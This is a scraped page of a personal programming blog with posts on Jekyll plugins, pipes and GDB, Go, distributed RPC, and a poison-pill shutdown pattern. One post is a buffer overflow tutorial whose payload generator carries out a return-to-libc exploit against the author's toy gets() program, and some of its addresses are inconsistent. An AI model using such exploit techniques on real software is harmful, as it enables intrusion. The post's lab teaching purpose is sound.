have mastered essential skills for creating a great website with Jekyll. The best way to step forward is downloading some nice Jekyll template and figure out how it is composed. Here is the [source code]() of my Jekyll website. However, in order to fully understand these code, you have to learn creating Jekyll plugin, which is super easy. # Customize article preview front matter with Jekyll plugin ## Default article preview front matter Jekyll comes with default article preview tag -- ```post.excerpt```. Modify our ```index.html``` page: ```html --- layout: default --- Home page {% for post in site.posts %} {{ post.title }} {{ post.excerpt }} {% endfor %} ``` We added a paragraph section to home page, which is a preview created by Jekyll ```post.excerpt``` tag. What it does is cut the first paragraph of the post. ## Customize article preview behavior To have a fully customized preview tool, we have to create a Jekyll plugin. There are multiple ways to create and use such plugins [(more details)](http://jekyllrb.com/docs/plugins/#installing-a-plugin). I personally perfer put to create Ruby files (equivelent to Jekyll plugins) under ```_plugins``` directory. Let's see the example first. Suppose we want to use the first 10 characters as article preview. One way is to use Liquid filter ```truncate```. But for the purpose of this article, we'll instead create our dumb little Jekyll plugin. Create a Ruby file under ```_plugin``` directory. ``` mkdir _plugins vim _plugins/example.rb ``` Put in following contents: ```ruby module Jekyll module PreviewFilter def build_preview(content) return content[0, 10] end end end Liquid::Template.register_filter(Jekyll::PreviewFilter) ``` The ```build_preview``` function is straightforward. The other code is just tell Jekyll to register this filter in global scope. Just as a supplementary, I suggest reading [this paragraph]([Jekyll plugin#liquid filters](http://jekyllrb.com/docs/plugins/#liquid-filters)). ## Time for a demo Now let's change our ```index.html``` ```html --- layout: default --- Home page {% for post in site.posts %} {{ post.title }} {{ post.content | strip_html | build_preview }} {% endfor %} ``` We see that instead of using Jekyll's built-in ```post.excerpt``` tag, we use customized filter ```build_preview``` with content of post as input, to create the post preview on home page. The filter ```strip_html``` is used to remove html tags so that the preview could be rendered correctly. Run Jekyll local server ``` jekyll server ``` And you should see the change.

  • Inter-process communication using pipe and multiprocess debugging using GDB

    In this article, we’ll walk through a simple example showing how to use unix pipe for inter-process communication how to debug a program of three processes using GDB Pre-requists experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video Unix intro) experience using GDB, know how to set breakpoints (checkout GDB tutorial) c language readability (espicially fork, exec) understand I/O redirect (checkout man dup) The problem The problem is to load two pre-built programs stream the output of the first program to the second one print the result of the second program print a finish sentence when both programs finish For example, we want to mimic the action of such bash command: /bin/ls | /bin/sort The first version Our very first version almost works, it sets up a pipe for later inter-process communication forks two processes modifies pipe for each process, so that the input/output is correctly redirected loads the pre-built programs to the processes prints the finish sentence The C file is here. Compile and run the program (assuming you have gcc installed). Notice you may need to modify positions for ls and sort programs if the belowing positions do not work. gcc -o first first.c ./first /bin/ls /usr/bin/sort Here is the output: Run two programs succeeded! README.md a.out first first.c And this the output of pipe in terminal: /bin/ls | /usr/bin/sort README.md a.out first first.c We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end. This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs. To fix the problem, let’s move on to second version. The second version At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last else branch, so that the main program will print the finish sentence after child processes finish. The second version is at here. Notice the only difference is two additional lines (105-106). Compile and run: gcc -o second second.c ./second /bin/ls /usr/bin/sort We will find the program never finishes! Instead of telling you why the program breaks, we will use GDB to find out the reason together. Compile the program again with debug information and use GDB to execute the program: gcc -g -O0 -o second second.c gdb --args second /bin/ls /usr/bin/sort Before everything, let’s set detach-on-fork environment variable of GDB to off. set detach-on-fork off By doint this, we could switch between processes easily. More details on this environment at here. Now let’s set breakpoint at right before waitpid system call and run the program (gdb) br second.c:105 Breakpoint 1 at 0x400b27: file second.c, line 105. (gdb) r ... Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105 105 waitpid(pid1, NULL, 0); Now use next command of GDB to step through the functions. (gdb) n 106 waitpid(pid2, NULL, 0); (gdb) n This means the first program finishes successfully, but the second one suspends and never returns! In order to figure out why the second program never returns, let’s run the program again, and use catch, inferior commands to go to that child process instead of the parent process. First, let GDB stops when a fork system call is called (gdb) catch fork Catchpoint 1 (fork) Next, go to the fork statement at line 84. (gdb) r Starting program: second /bin/ls /usr/bin/sort Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130 130 ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory. (gdb) c Continuing. [New process 6134] Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130 130 in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c (gdb) finish Run till exit from #0 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130 [New process 6147] 0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84 84 else if (0 == (pid2 = fork())) Value returned is $1 = 6147 Notice we meet two fork system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in. GDB use the concept of inferior to refer to threads, processes etc. To see currently running processes, just run (gdb) info inferiors Num Description Executable 3 process 6147 second 2 process 6134 second * 1 process 6127 second Notice both executable names of child processes are “second”. This means the /bin/ls and /usr/bin/sort are not loaded yet. This is because by setting detach-on-fork off, the newly created processes will be suspended by default. Let’s switch to first program (inferior 2) and let it finish. (gdb) inferior 2 ... (gdb) c Continuing. process 6134 is executing new program: /bin/ls Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done. [Inferior 2 (process 6134) exited normally] Now only two inferiors are left. (gdb) info inferiors Num Description Executable 3 process 6147 second * 2 <null> /bin/ls 1 process 6127 second The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks. (gdb) inferior 3 ... (gdb) finish Run till exit from #0 __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137 0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84 84 else if (0 == (pid2 = fork())) Value returned is $2 = 0 (gdb) n 88 if (-1 == close(pipefd[1])) { (gdb) n 94 if (-1 == dup2(pipefd[0], STDIN_FILENO)) { (gdb) n 98 run(program2); (gdb) n The program seems stuck when executing /usr/bin/sort. A guess is input file is never closed. Let’s check. ^Z Program received signal SIGTSTP, Stopped (user). 0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81 81 in ../sysdeps/unix/syscall-template.S (gdb) shell ls -l /proc/6147/fd total 0 lr-x------ 1 parallels parallels 64 Feb 3 16:37 0 -> pipe:[91298] lrwx------ 1 parallels parallels 64 Feb 3 16:37 1 -> /dev/pts/25 lrwx------ 1 parallels parallels 64 Feb 3 16:37 2 -> /dev/pts/25 lr-x------ 1 parallels parallels 64 Feb 3 16:37 3 -> pipe:[91298] Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug! Just to make sure our guess is correct, let’s examine open file descriptors in parent process. (gdb) inferior 1 [Switching to inferior 1 [process 6127] (second)] [Switching to thread 1 (process 6127)] #0 0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84 84 else if (0 == (pid2 = fork())) (gdb) c Continuing. ^Z Program received signal SIGTSTP, Stopped (user). 0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31 31 ../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory. (gdb) shell ls -l /proc/6127/fd total 0 lrwx------ 1 parallels parallels 64 Feb 3 16:29 0 -> /dev/pts/25 lrwx------ 1 parallels parallels 64 Feb 3 16:29 1 -> /dev/pts/25 lrwx------ 1 parallels parallels 64 Feb 3 16:29 2 -> /dev/pts/25 lr-x------ 1 parallels parallels 64 Feb 3 16:29 3 -> pipe:[91298] l-wx------ 1 parallels parallels 64 Feb 3 16:29 4 -> pipe:[91298] And we know the pipe is indeed not closed in parent process. This leads us to third version. The third version In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate. The third version is here. Now let’s test the program again. gcc -o third third.c ./third /bin/ls /usr/bin/sort And here is the result on my machine, README.md first.c second.c third third.c Run two programs succeeded! which is the same as the result of terminal. Conclusion In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment. We learnt C and Unix skills pipe fork waitpid dup GDB skills catch inferior

  • Concurrency vs. Parallelism

    Quoted from Go Concurrency Patterns. What is Concurrency Programming as the composition of independently executing processes. What is Parallelism Programming as the simultaneous execution of (possibly related) computations. Concurrency vs. Parallelism Concurrency is about dealing with lots of things at once. Parallelism is about doing lots of things at once. One is about structure, one is about execution. Concurrency provides a way to structure a solution to solve a problem that may (but not necessarily) be parallelizable.

  • Exception handling: panic/exception v.s. return error

    There are two common ways to handle errors: throw exception e.g. panic in Golang return error code return 0 or -1 in Unix system calls Here is one point of view to decide which method to go with. The rule is simple: if your function is in any way likely to fail, it should return an error code. When I’m calling some other package, if it is well written I don’t have to worry about panics, except for, well, truly exceptional conditions, things I shouldn’t be expected to handle. To know more. Here is a short discussion by Ross Cox, where he suggested these two articles: Cleaner, more elegant, and wrong Cleaner, more elegant, and harder to recognize

  • A cheatsheet on basic of Go language

    Quoted from: Getting Started A Tour of Go How to Write Go Code Cheatsheet 0.Entry point Go program starts from package main. 1.Export Capitalized function is exported. Non-capitalized function isn’t exported. 2.Variable type is at end of declaration. var a int = 3 a int := 3 3.Basic types. bool, string int int8 int16 int32 int64 uint uint8 uint16 uint32 uint64 uintptr byte // alias for uint8 rune // alias for int32, represents a Unicode code point float32 float64 complex64 complex128 4.Output type of a variable. printf("%T", variable) 5.Type conversion/casting. new_type(variable) 6.const const name = value 7.Group of definition or import. var/const ( x = 1 y = 2 ) import ( "package 1" "package 2" ) 8.Function with multiple return value. func name(x int, y int) (int, int) { return 1, 2 } 9.Switch 1 Switch use fallthrough as key word to let two consecutive cases run sequentially. In Go, we don’t use break key word to terminate switch cases, they stop automatically. 10.Switch 2 Value of switch case could be any type, even function value is okay. Using switch without a condition is okay, then the switch case takes some boolean value, this is useful for concise if-else combination. 11.Defer The deferred call’s arguments are evaluated immediately, but the function call is not executed until the surrounding function returns. When there are multiple defer functions, they are stacked in a FILO pattern. 12.Pointer Pointer is like c-style, but do not support pointer arithmetic. 13.Struct type Name struct { x int y int } name := Name{x:1, y:2} name.x p = &name p.x is okay! 14.Array var name [10]int name := [3]int{1,2,3} name := […]int{1,2,3} //same effect as previous statement len(name) cap(name) //capacity 15.Slice Slice is similar to array, but more flexible! Array is fixed sized, while size of slice could be modified. It is built on top of array, which is very similar to list in Java. Internal of slice is a pointer to a position in an array, the length, the capacity. Slice could be create by make name := make([]int, length) name := make([]int, length, capacity) name := make([]int, 0, 5) //an array with capacity 5 and length 0, initialized all value 0 or by slicing an array or slice name[1:3] //have value at position 1,2. name could be an array or slice name[1:] When creating slice by slicing, the data is not copied! just modify the pointer And notice, when slicing, the length is determined by slice range, but the capacity is determined by maximum range which is from slice range begin to end of underlying array. Notice, this may cause problem because we may only need part of the array, but we are keeping the whole array in memory. So sometimes it would be better to copy that part, or other method such as append part of array to a nil array, to let garbage collector reclaim those memory. https://blog.golang.org/go-slices-usage-and-internals 16.Slice is initialized as nil var name []int name == nil //true len(name) //0 cap(name) //0 17.Slice copy/append Slice could be copied between different lengthy, or even underlying overlapped slices. copy(destination, source) this will copy elements of smaller number in source and destination. var name = []int{1,2,3} append(name, 1, 2, 3) var name2= []int{4,5,6} append(name, name2…) //could append another slice. notice the … would unwrap the second slice 18.Array/slice range A convenient way to iterate element in array and slice. for index, value := range arrayName { //notice value is a copy of the element } Could skip the value, then for index := range arrayName {} Or could skip index, then for _, v := range array {} 19.Map Map must be created using make. var name = make(map[key_type] value_type) var map = make(map[string] int) Or could be initialized like JSON. var map = make(map[string] int) { "key1":10, "key2":20, //notice the commas is necessary! } Map operation is usual. map[key] = value value, ok = map[key] //ok is true if key exist delete(map, key) for key, value := map { //iterate map } 20.Function as first class Could pass function as a parameter. func name(fn func(x, y int) int) int {} Notice all function argument is value copy. Not reference. Also, function has closure. 21.Class Go doesn’t have built-in class. But we could use function to help variable to act like a class. We should assign a receiver type to a function, then any variable of this receiver type could call this function. So it looks like the receiver type is a class, variable is an object, and the function is a member function. var (f MyFloat) Abs() float64 {}//MyFloat is receiver type var Abs(f MyFloat) float64{} //function-wise same But receiver could only be type defined in the same package. So could not set receiver as built-in type, including int, float etc. Receiver could be pointer. This does not require the variable calling this function to be a pointer. It means the value of receiver is not copied to the function, instead a reference is given so that the function could modify the value of receiver. Though use a pointer as receiver variable to call function is recommended! var (f *MyFloat) Abs() {} //now Abs could directly modify f in its body All methods on a given type should have either value or pointer receivers, but not a mixture of both. (This is a design matter) 22.Interface type name interface { functionName(argument) return_type } name x could be any type that support the function. Empty interface acts like void* in C language. var i interface{} //empty interface, i is nil after created i = “aa" i = 43 //both are correct Because the interface could be assigned to any concrete variable, sometimes we want to know what’s underlying concrete type. var i interface{} = "hello" s := i.string //s will be “hello" f := i.float64 //run time error f, ok := i.float64 //no error, ok would be false 23.Switch 3 Switch could be used to switch types. switch v:= i.(type) { case T: case S: default: } 24.Stringer interface A built-in interface, similar to toString() in Java. type Stringer interface { String() string } 25.Error Every built-in function return an error as last parameter. return_value, err = function_name() if err == nil {} else {} 26.IO Reader Reader is an input stream. import { "io" "strings" } r := strings.NewReader("Hello, Reader!") b := make([]byte, 8) n, err := r.Read(b) if err == io.EOF { break } 27. Routine Routine is like thread in other languages. You run a function in another thread. go fun_name(parameters) This starts a new goroutine/ light-weight thread. The parameters are evaluated when executing this line, i.e. current goroutine, but execution of the function is happen in the new goroutine, i.e. in the future. These go routines run in same address space, so that access to shared memory need synchronized. 28.Rendezvous channel Rendezvous means synchronized. A rendezvous channel is a channel without defining size, so that the sender and receiver would be synchronized all the time. var channel = make(chan int) channel <- v //offer v into channel, block until v is taken from receiver v := <- channel //take v from channel, block until sender offer a value into channel 29.Buffered channel Buffered channel is channel with a defined capacity. So the sender and receiver could act like producer consumer model, where the channel acts like a queue with fixed size. var channel = make(chan int, capacity) channel <- v //sender be blocked when channel full v := <- channel //receiver blocked when channel empty cap(channel) //capacity 30.Channel close and check Sender could and only sender should close channel close(channel) Receiver could check whether channel is closed by v, ok := <- channel A channel could be iterated using range. for i:= range(channel) { //i is element in channel } when channel is closed, this iteration will stop. 31.Select Select a random executable statement to run. Notice each case statement should interact with a channel. select { case c <- x://executable when channel is not full case <- c: //executable when channel is not empty default ://executable when channel is neither full nor empty } 32.sync.Mutex Go provide built-in mutex acting as lock. Though it suggests design pattern to do concurrency without locks. mux sync.Mutex mux.Lock() //do something mux.Unlock() 33.Share memory by communicating Don’t communicate by sharing memory; share memory by communicating. Go blog: shareemem codewalk A naive interpretation: Do not use lock and shared memory, as a method to communicate among threads. Instead, use channel as communication tool, and share data among threads without lock. 34.Go syntax A good post talking about why’s the similarity and difference between Go syntax and C syntax. Go blog: Go’s declaration syntax 35.Defer, panic, recover A defer statement pushes a function call onto a list. The list of saved calls is executed after the surrounding function returns. Defer is commonly used to simplify functions that perform various clean-up actions. A deferred function’s arguments are evaluated when the defer statement is evaluated. Deferred function calls are executed in Last In First Out order after the surrounding function returns. Deferred functions may read and assign to the returning function’s named return values. This is convenient for modifying the error return value of a function Panic is a built-in function that stops the ordinary flow of control and begins panicking. When the function F calls panic, execution of F stops, any deferred functions in F are executed normally, and then F returns to its caller. To the caller, F then behaves like a call to panic. The process continues up the stack until all functions in the current goroutine have returned, at which point the program crashes. Panics can be initiated by invoking panic directly. They can also be caused by runtime errors, such as out-of-bounds array accesses. Recover is a built-in function that regains control of a panicking goroutine. Recover is only useful inside deferred functions. During normal execution, a call to recover will return nil and have no other effect. If the current goroutine is panicking, a call to recover will capture the value given to panic and resume normal execution. Go blog: defer panic and recover 36.Test Go provides a built-in test platform. The convention is: Within the package, have a go file named XXX__test.go Within this go file, have functions named TestXXX.go The test function should have format as func TestXXX(t *testing.T) {} Import package "testing" Use test functions to indicate error. This including t.Error t.Errorf t.Fail

  • Talking within Distributed System

    What’s different between communication in distributed system and local machine. Two most popular way to communicate within a distributed system, i.e. message passing and RPC, and analyzed the advantages and disadvantages of them. Two most successful protocol using these two communication idea, i.e. RESTful and Thrift. Why talking within distributed system is different from local machine? In a local machine, when process A is communicating with process B, it could be done in a synchronized fashion guaranteed by electrical circuit or the so-called bus built in your laptop or server. So the delivery time is always constant, corresponding to several clock cycles. The fundamental difference of distributed system and local machine is due to network unreliability. When machine A is sending message to or call function at machine B, there is not such bus connecting them so that they could only communicate through network. So either machine A get an acknowledgement message and it could be sure that machine B receive the message, or it has to wait indefinitely since it could never tell whether the message is lost or it is network congestion. So it is the case that I know what I know, but I don’t know what others know, and I don’t know what others know others know… An example Through the next of this post, we will examine a simple common example distcp. So the semantic of distcp is the same as cp (copy) method, it copies data from one location to another. More specifically, when machine A runs distcp path1/file path2, it copy file from path1 to path2. Message Passing So message passing is actually the most straightforward and also most widely used way to implement distributed system communication (think about Internet!). Message Passing defines two basic method, send() and receive(). It sends the whole information including operator (in our case it is distcp) and operands (in our case it is file and path) through network. And when receiver receives the message, it lookups the operator and finds corresponding local method and then finishes the job. Advantages It is straightforward/user-friendly. Disadvantages However, despite the good point of message passing, this method leaves a lot of burden to application programmer. A common message passing is very like this: On sender’s side: MessageFactor.createMessage("distcp").setArgument(0, "path1/file").setArgument(1, "path2").send(ip of machine B) On receiver’s side: operator = receive().getOperator(); switch(operator) { case "distcp": copy to path; break; } There are two obvious problem. 1.Programmer needs to do lots of work to control the logic, especially on receiver’s side. 2.The program could not make use of compile check to make sure the sending message is correct. This significantly increase the possibility of runtime error. Remote Procedure Call (RPC) So to reduce the burden of programmers and make our program more predictable, RPC is a good idea. The core idea of RPC is to provide an interface for both local and remote procedure call, so that programmer could call remote function just like call local function. So the RPC way of our function is very like to be this: register_path("path1", ip of machine A); register_path("path2", ip of machine B); dist("path1/file", "path2"); And it is done! How to find the file and how to bind the data is left to RPC service. After binding the path and machine, the programmer doesn’t need to worry about the whole logic. Moreover, now we could at compile time check whether the programmer provides exactly two arguments , reducing runtime error. Also, it a lot of distributed system, e.g. Hadoop platform, there’s a master machine to take care of path binding, so the two register_path method could be avoided as well! Note To understand how the RPC service is implemented, I encourage you to further read some posts online or this paper Implementing remote procedure calls by Andrew and Bruce. Advantages 1.RPC provide the abstraction of procedure call so that programmers could use these services easily just as using local methods. 2.It also helps reducing runtime errors. Disadvantages Now RPC may seems really attracting, it has one important disadvantages compared to message passing – the service itself is much complicated. Yes, the user/programmer is relieved from handling logic and data binding themselves, but the API provider/RPC service provider need to do a lot of work, including defining interface, implementing logic etc. The complication is significant when testing some new functions, since the API may change frequently during development. Real World Implementation Now we scratched the surface of both two common communication ways, how and when do we prefer one to the other? Let’s see two most widely used communication protocol in web service today. RESTful I’m not going to talk about what is RESTful. I assume you have already know what it is and hopefully you have used it several times in your previous projects. RESTful is a good example using the idea of message passing. For send() method, it supports four operators, i.e. GET, PUT, POST and DELETE, and nearly unlimited number of operands (within bound of network limit of course). And receive() method is handled by HTTP request. Advantages 1.Lightweight. Since RESTful API is often used for implementing CRUD operations in database, so the message is generally short. 2.User-friendly. RESTful has same semantics with HTTP request, thus learning curve of RESTful is almost zero degree! 3.Language/Platform independence. Since RESTful is nothing but HTTP request, it has no constraints on language or system platform. Disadvantages The disadvantage of RESTful stems from HTTP protocol itself. One thing is RESTful does not support basic method other than HTTP’s methods. Although one could put operator inside body of HTTP request, but that would lose the lightweight property of RESTful. Another disadvantage is HTTP request is expensive. Each HTTP request is generally a blocking process, harming the scalability of system. (This is said be overcome in HTTP 2.0, I’m not quite familiar with HTTP 2.0, but this disadvantage holds for HTTP 1.1). Thrift My understanding of Thrift may not be correct and well-rounded, since I haven’t use Thrift a lot. But generally, Thrift is a protocol based on RPC so that to simplify remote call process and with goal of a fast, reliable and safe communication. To use Thrift, you need first define the RPC interface using Interface Definition Language (IDL). This interface is a constraint that both server and clients using the method should follow. After you defined the interface, it is Thrift that will take care of the underlying communication and compile time checking. Advantages 1.Provide compile time checking. Thrift is much stricter than RESTful, but the goodness is it could help avoid lots of small errors. 2.It is faaaaast. RPC generally take advantages of UDP protocol and binding acknowledgement message with next request to avoid overhead and amount of exchanging data. Disadvantages It is obvious that Thrift is way complicated than RESTful API. It also doesn’t have a universal method name (e.g. GET in RESTful). Therefore developers need to first learn the interface of different Thrift library then could they move on. Discussion So how to choose among them? Like most design in computer science, there is no absolute yes or no to choose one protocol rather than the other. It has been a consensus that, generally, when developing light-weight api, especially those similar with CRUD operations, and when your api is used by lots of users, then RESTful may be better choice. While developing api that is internally used, or logically complicated, or fast is your first priority, then Thrift may be better. In comparison these protocol, here is a great article by Kristopher Sandoval. I quote part of the article here, but you should definitely read through that great post. REST, on the other hand, is like a pre-paid postcard. You’ve forgone the envelope in favor of a lightweight, succinct delivery device that is easy to interpret and handle, with your message quickly scribbled on the back. The postcard uses less material (bandwidth), is typically shorter in content, and might actually get to your neighbor faster because there’s less bulk to move around. Thrift is like a megaphone. When you point the megaphone at your neighbor, he implicitly knows you’re upset about something — and that you’re going to say it specifically to him. He knows what to do with the information, because the reaction a human has to a megaphone is pretty universal (assuming, of course, that your megaphone is louder than his drums). The message is sent in a lightweight but forceful manner that depends entirely on the receiver to properly process it, in this case your neighbor.

  • Secure Threats -- Buffer Overflow Attack -- Level 0

    Our software system is far from robust and safe. This post talks about a basic attack, namely Buffer Overflow, that could shoot down a software system which seems robust at first glance. Pre-requisite The first pre-requisite is quite easy to catch up, but the second and third ones are fundamental pre knowledge. Familiar with C language. (This series would use C program as example.) And know how to use a gdb to debug C program. Familiar with basic assembly language and be able to read assembly language. (No need to good at writing them!) Know what’s a heap, stack, shared library and basically how program is mapped into memory. Or if you could understand what this figure is talking about. (Computer System : A Programmer’s Perspective 2nd) Buffer Overflow Attack Great, now you are ready to hack a system, and I’m showing you a way. What is Buffer Overflow Buffer Overflow is an attack/hacking solution that takes advantage of such a vulnerability: when a victim host is trying to receive a message from an attacker, it doesn’t check the length of in-coming message, so the message could be arbitrary long and, as a result, overwrite some part of victim host’s stack memory and make the hack. An Example (Your first hacking attack!) To make this clearer, let’s see a typical example. /* basic.c */ #include <stdlib.h> #include <stdio.h> #include <string.h> /* server code, I'm victim */ int main(int argc, char** argv) { char buf[16] ; printf("Hi, I'm server.\n"); gets(buf); printf("you entered: %s\n", buf); return 0; } This piece of code seems okay at first glance, but the reason it suffers from a buffer overflow attack is the use of this gets function. Basically gets copy string from standard input to buf. To understand why this is a problem, we need to look inside the program to know what is happening underneath. Yeah, I mean to read some assembly code. By running following script, gcc -o basic basic.c -m32 objdump -d basic we could get assembly code of basic. (Note we add a -m32 here to compile it to a 32-bit version) 08048480 <main>: ...... 8048495: 8d 44 24 10 lea 0x10(%esp),%eax # some padding 8048499: 89 04 24 mov %eax,(%esp) # put this address as argument for gets function 804849c: e8 9f fe ff ff call 8048340 <gets@plt> ...... I’m not going to talk about what exactly these assembly do. They are pretty straightforward if you have some experience with assembly language and also notice I add some comments to help you catch the idea. Now is key point. Then what gets function does is it go through standard input and copy byte by byte to buf until it met a null terminator. However, the gets function doesn’t check input length! So what if we input a very long sentence? -bash-4.2$ echo "a verrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrry long sentence" | ./basic Hi, I'm server. you entered: a verrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrry long sentence Segmentation fault (core dumped) The problem is the input is too long so that it override some part of original stack. This could be a disaster since stack is used to keep important variable value. And this is why this kind of attack is called Buffer Overflow Attack. To do a real attack To do a real attack, i.e. let the program do something you intend it to do, rather than just crash, we need more work and more analysis. Analysis By using gdb (gdb) b *0x804849c Breakpoint 1 at 0x804849c (gdb) r Starting program: basic Hi, I'm server. Breakpoint 1, 0x0804849c in main () (gdb) i r esp esp 0xffffd210 0xffffd210 (gdb) x/wx 0xffffd210 0xffffd210: 0xffffd220 we could find right before gets is called, esp is pointing to 0xffffd220, which means our input message will be written to this address. Also, if we set breakpoint at beginning of main function, (gdb) b *0x0x8048480 Breakpoint 2 at 0x8048480 (gdb) r Starting program: basic Breakpoint 2, 0x08048480 in main () (gdb) i r esp esp 0xffffd23c 0xffffd23c we could find return address for main function is saved at 0xffffd23c. Did you find the secret? The offset between the return address and the address we are going to write is only 0xffffd23c - 0xffffd220 = 0x1C = 28. This means if our input message is 28 characters or more, then we could overwrite the return address of main function! And let’s remind what return instruction does. It puts the value pointed by esp to eip, increment esp by 4 bytes, and execute the code pointed by eip. So this means if we change the value of return address, we could let program go to some surprised place and execute some surprised code! Moreover, if we construct our input message using executable code and let the return address go to our code, then we could let program do whatever we want! And this closes our analysis! Bravo! Sum up Let’s put the pieces together. To do a basic buffer overflow attack, we need to… 1.Find the address where your input message is going to write. 2.Find the most recent return address that is larger than the address in point 1. 3.Carefully calculate the offset of these two addresses and design your input message so that they could be executed by CPU to do some surprisingly fun job. Let’s Hack Our ‘Not-so-Robust’ Program The normal execution of basic program is prompt exactly same thing as we input. Now we would like it to print I'm hacked! in a funny way. To print something, we still need the built-in print function in stdlib. Take a look at assembly code again, (gdb) p &printf $2 = (<data variable, no debug info> *) 0xf7e32f60 <printf> To print something, we need to make sure esp is pointing to what we want to print (i.e. I'm hacked! in this case), and then call printf function! The input message should be like this: [several padding to return address] – [address to printf] – [pointer to hacking message] To call the printf function is easy, we just need to overwrite the return address in main function with printf address, which we’ve already figured out as 0xf7e32f60. Then where is the hacking message? Remember the printf function print message out until it find a null terminator. Therefore we could not put the hacking message at front of input message and followed by the padding, since in this way we would print rubbish that we don’t want to. So we have to put them at the end of input message. Thus, the input message should be like this: [several padding to return address] – [address to printf] – [pointer to hacking message] – [hacking message] One last thing, we need some padding at after return to printf, this is because we use printf function not by “call” but by “return”. As we analyzed before, just before call printf, we make sure esp pointing to message we want to print out. But when we use “return” to call a function, it first put esp to eip and then pop esp so that esp will move up by 4 bytes. Also, the value in this padding is the return address after return from printf, i.e. the program will try to execute code at the position of this padding value. So we could put an exit here to let the program stop. (gdb) p &exit $5 = (<text variable, no debug info> *) 0xf7e17b10 <exit> Okay! Let’s hack it! We know… The address we are going to write from is: 0xffffd220 The original return address is at: 0xffffd23c The return address need to overwrite as 0xf7e32f60 The exit address is 0xf7e17b10 And we put hacking message at the end: I'm hacked! So, what we need is: 0xffffd220 : 28 \x90 as padding …… 0xffffd23c : 0xf7e32f60 address to call printf 0xffffd240 : 0xf7e17b10 address to exit, also as padding 0xffffd244 : 0xffffd248 pointer to printing message 0xffffd248 : I'm hacked! Another important thing we need to keep in mind is, our system is generally small-endian. This means instead of 0xf7e32f60 as is human readable, we need to put 0x602fe3f7 in our input message. The same thing holds to 0xffffd248 and 0xf7e17b10. So, based on all these analysis. We get our input message: 28 \x90 0x602fe3f7 0x107be1f7 0x48d2ffff I'm hacked! To generate the text we could have a helper program hack /* basic hack.c */ #include <stdio.h> int main(int argc, char** argv) { int i = 0; //padding for(i = 0; i < 28; i++) { printf("\x90"); } printf("\x60\x2f\xe3\xf7");//address to printf printf("\xa1\x83\x04\x08");//address to exit printf("\x48\xd2\xff\xff");//address to print message printf("I'm Hacked!\n"); return 0; } Then compile it and save to a file hack.txt -bash-4.2$ gcc -o hack hack.c -bash-4.2$ ./hack > hack.txt Finally use gdb to test it! (gdb) r < hack.txt Starting program: basic < hack.txt Hi, I'm server. you entered: ????????????????????????????`/{H?I'm Hacked! I'm Hacked![Inferior 1 (process 41057) exited with code 0111] Note At the end of output, it says program exited with code 0111. This means program doesn’t exit normally. This is because the exit function also use esp as exit code, but in our program esp saves address to message. To overcome this problem, we need to use ROP(Return-Oriented-Programming) technique. See following posts! Last but not least. If you test this attack without gdb, you’ll get -bash-4.2$ ./basic < hack.txt Hi, I'm server. you entered: ????????????????????????????`/{H?I'm Hacked! Segmentation fault (core dumped) This is because the so-called ASLR(Address Space Layout Randomization) defense technique. We’ll talk about how to overcome this defense in following posts. And this ends the very basic Buffer Overflow Attack. Hope you enjoy it!

  • Poison Pill

    How do producer(s) notify consumer(s) to stop? The producer can not simple kill the consumer, since there may be some jobs still in the queue. One solution is use poison pill – a special value to notify consumer(s) the end of service. How it works? The idea is extremely simple. When producer wants to stop the service, it sends a special message (poison pill) into the queue and stops it self, when consumer gets this message, it closes it self as well. What if multiply producers and multiply consumers? If only one producer and consumer, then it’s totally fine. If there are several producers and one consumer, each producer could send a poison pill to consumer and stop itself. When consumer gets same number of poison pills, then it stop running. If there are one producer and several consumers, then producer send poison pills of same number as consumers to queue. Each consumer stops itself when get a poison pill. If there are multiple producers and multiple consumers, then each producer send poison pill of same number as consumers to queue. Each consumer stops itself when get poison pills of same number as producer. What is the problem? This solution suppose producers and consumers know the quantity of each other. Also, if we have N producers and M consumers, then number of poison pills will be N*M, which could be large. Alternative Solution One alternative solution is we relax the constraints so that consumers could also offer messages into queue, but only when it is trying to stop the whole service. On producers’ side, when all producers are going to leave the service, the last producer send a poison pill to the queue. This could be done by several ways, one way is to elect a leader so the leader send the poison pill and then every producer leaves. On consumers’ side, when any of consumers get a poison pill, it first the poison pill back to queue and leave the service. So that all consumers will finally leave the service. This solution is based on that producers know each other, and consumers know each other, but producers and consumers don’t know each other, which makes more sense in real world. Reference “Poison Pill Shutdown” in Java Concurrency in Practice

  • </ul>

    
    We see that instead of using Jekyll's built-in ```post.excerpt``` tag, we use customized filter ```build_preview``` with content of post as input, to create the post preview on home page. The filter ```strip_html``` is used to remove html tags so that the preview could be rendered correctly.
    
    Run Jekyll local server
    
    

    jekyll server ```

    And you should see the change.


